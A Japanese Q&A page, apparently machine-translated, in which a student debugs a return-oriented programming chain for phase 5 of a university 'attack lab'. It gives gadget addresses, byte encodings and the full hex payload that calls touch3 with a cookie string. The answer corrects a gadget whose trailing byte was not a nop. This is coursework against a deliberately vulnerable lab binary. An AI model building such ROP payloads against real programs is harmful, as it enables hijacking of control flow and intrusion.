[解決済み] アタックラボフェーズ5におけるセグメンテーションの不具合
質問
これは私のソフトウェアセキュリティのクラスでの攻撃ラボのフェーズ5です。アドレスのランダム化と実行不可能なスタックのため、リターン指向プログラミング(ROP)を使って、与えられたクッキーの値の文字列ポインタをtouch3という関数に引数として渡すことになっています。私は今のところそれしか理解できないので、質問をうまく説明できません。完全な命令はこのPDFの10ページにあります。 攻撃ラボ
コードのロジックは(私が見つけることができる他の人々の答えによって示される)です。
-
バッファのパディング
-
を保存します。
%rsp
をレジスタに登録します (%rdi
ここで) -
アドレスオフセットをレジスタに保存 (
%rax
ここで) -
上記の合計値をレジスタに保存する
-
touch3を呼び出す
-
クッキーの文字列
-
で終了させます。
\0
他の方のコードを参考にさせていただいているのですが、ロジックがよく分からないので、いくつか質問させてください。
-
の合計が必要なのはなぜですか?
%rsp
とオフセット・アドレスを教えてください。 -
に値がポップされる理由
%rax
にクッキーの文字列のアドレスを渡しています。%rax
? -
この宿題のどこがいけなかったのでしょうか?
すべてのエンコーディングとアドレスが正しく使われていることを再確認する以外に、これを修正する方法は思いつきません。
step1:
48 89 e0 c3 mov %rsp, %rax
ガジェットファームの中に、ありました。
401ae6: b8 27 48 89 e0 mov $0xe0894827,%eax
401aeb: c3
401ae6+2、リバース=>。
E8 1A 40 00 00 00 00 00 00
ステップ2
48 89 c7 c3 mov %rax, %rdi
ガジェットファームの中に、ありました。
401a2d: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax
401a33: c3
90 = nop, どうでもいい
401a2d+2、リバース =>
2f 1a 40 00 00 00 00 00 00
step3です。
58 C3 ポップ %rax
ガジェットファームの中に、ありました。
401a34: c7 07 75 ac 31 58 movl $0x5831ac75,(%rdi)
401a3a: c3
401a34+5、リバース=>。
39 1a 40 00 00 00 00 00
step4:
0x48
この定数は、最初の行からクッキー文字列の行-1までの距離で、アドレスオフセットとも呼ばれるものです。クッキー文字列の前には10行あります。したがって、この値は (10-1)*8 = 72 = 0x48 となります。
ステップ5:
89 c2 movl %eax, %edx
ガジェットファームの中に、ありました。
401aa2: c7 07 89 c2 90 c3 movl $0xc390c289,(%rdi)
401aa8: c3
401aa2+2、リバース=>。
A4 1A 40 00 00 00 00 00 00
ステップ6
89 d1 movl %edx, %ecx
ガジェットファームの中に、ありました。
401afa: 8d 87 89 d1 08 c9 lea -0x36f72e77(%rdi),%eax
401b00: c3
08 c9 = orb R, R = nop, 関係なし
401afa+2リバース =>
FC 1A 40 00 00 00 00 00 00
ステップ7
89 ce movl %ecx, %esi
ガジェットファームの中に、ありました。
401ab0: b8 72 74 89 ce mov $0xce897472,%eax
401ab5: c3
401ab0+3、リバース=>。
B3 1A 40 00 00 00 00 00 00
step8です。
lea (%rdi, %rsi, 1), %rax
ガジェットファームの中に、ありました。
401a68: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
401a6c: c3
401a68、リバース =>。
68 1a 40 00 00 00 00 00
step9:
48 89 c7 c3 mov %rax, %rdi
ガジェットファームの中に、ありました。
401a48: b8 34 48 89 c7 mov $0xc7894834,%eax
401a4d: c3
401a48+2リバース =>
4a 1a 40 00 00 00 00 00 00
ステップ10
touch3アドレス (フェーズ3から正しいことを確認) 8a 19 40 00 00 00 00 00
ステップ11
クッキーの文字列表現 (フェーズ3から正しいことを確認)
33 65 35 32 64 66 66 35 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* buffer */
e8 1a 40 00 00 00 00 00 /* step1: mov %rsp, %rax */
2f 1a 40 00 00 00 00 00 /* step2: mov %rax, %rdi */
39 1a 40 00 00 00 00 00 /* step3: pop %rax */
48 00 00 00 00 00 00 00 /* step4: constant 0x48 */
a4 1a 40 00 00 00 00 00 /* step5: movl %eax, %edx */
fc 1a 40 00 00 00 00 00 /* step6: movl %edx, %ecx */
b3 1a 40 00 00 00 00 00 /* step7: movl %ecx, %esi */
68 1a 40 00 00 00 00 00 /* step8: lea (%rdi, %rsi, 1), %rax */
4a 1a 40 00 00 00 00 00 /* step9: mov %rax, %rdi */
8a 19 40 00 00 00 00 00 /* step10: touch3 address */
33 65 35 32 64 66 66 35 /* step11: string representtion of cookie */
00 00 00 00 00 00 00 00
解決方法は?
ステップ2の0x90がnopとして機能していないのが原因です。ステップ2の行をステップ9の行に置き換えることで問題は解決します。どうせ同じになるはずです。たまたま2種類のガジェットを見つけたので、互換性があると信じて2種類のアドレスを使ったのですが、nopは先頭から始めないといけないことが判明しました......。
をクリックすると、ステップ2に進みます。
401a2d: 8d 87 48 89 c7 90 lea -0x6f3876b8(%rdi),%eax
401a33: c3
関連
-
[解決済み] ARMのアセンブリ言語でbx lrは何をするのですか?
-
[解決済み] ミップスアセンブリの文字列の長さ
-
[解決済み] 018Hと0cHは、アセンブリでは何の略ですか?具体的には「cH」と「0」「h」のプリフィックス/ポストフィックス
-
[解決済み] アセンブリで数字をASCIIに変換する
-
[解決済み] CPUのParity Flagは何のためにあるのですか?
-
[解決済み] x86-64におけるmovqとmovabsqの違いについて
-
[解決済み] movsbl 命令は何をするのですか?重複
-
[解決済み] CS:IPの組み立ての意味と仕組みについて教えてください。
-
[解決済み] movqアセンブリ機能
-
[解決済み] この状況でのlwとbneは何を意味するのか?
最新
-
nginxです。[emerg] 0.0.0.0:80 への bind() に失敗しました (98: アドレスは既に使用中です)
-
htmlページでギリシャ文字を使うには
-
ピュアhtml+cssでの要素読み込み効果
-
純粋なhtml + cssで五輪を実現するサンプルコード
-
ナビゲーションバー・ドロップダウンメニューのHTML+CSSサンプルコード
-
タイピング効果を実現するピュアhtml+css
-
htmlの選択ボックスのプレースホルダー作成に関する質問
-
html css3 伸縮しない 画像表示効果
-
トップナビゲーションバーメニュー作成用HTML+CSS
-
html+css 実装 サイバーパンク風ボタン
おすすめ
-
[解決済み] Binary Bomb Phase_6 Node Order?
-
[解決済み] CPUのParity Flagは何のためにあるのですか?
-
[解決済み] x86 8086 アセンブリで 0-9 の範囲の乱数を生成する。
-
[解決済み] x86アセンブリで160x100モードを実現する
-
[解決済み] MIPS浮動小数点:SWC1対S.S.
-
[解決済み] アセンブリで文字列の長さを表示する方法
-
ファイルまたはアセンブリを読み込めませんでした ... 不正なフォーマットでプログラムをロードしようとしました。
-
[解決済み] x86アセンブリの角括弧の意味は何ですか?
-
[解決済み] MIPSプログラムにおける`lw`と`sw`の実際の働きを理解する。
-
[解決済み] MIPSの擬似命令 "move "の "addi "と "add "の違い?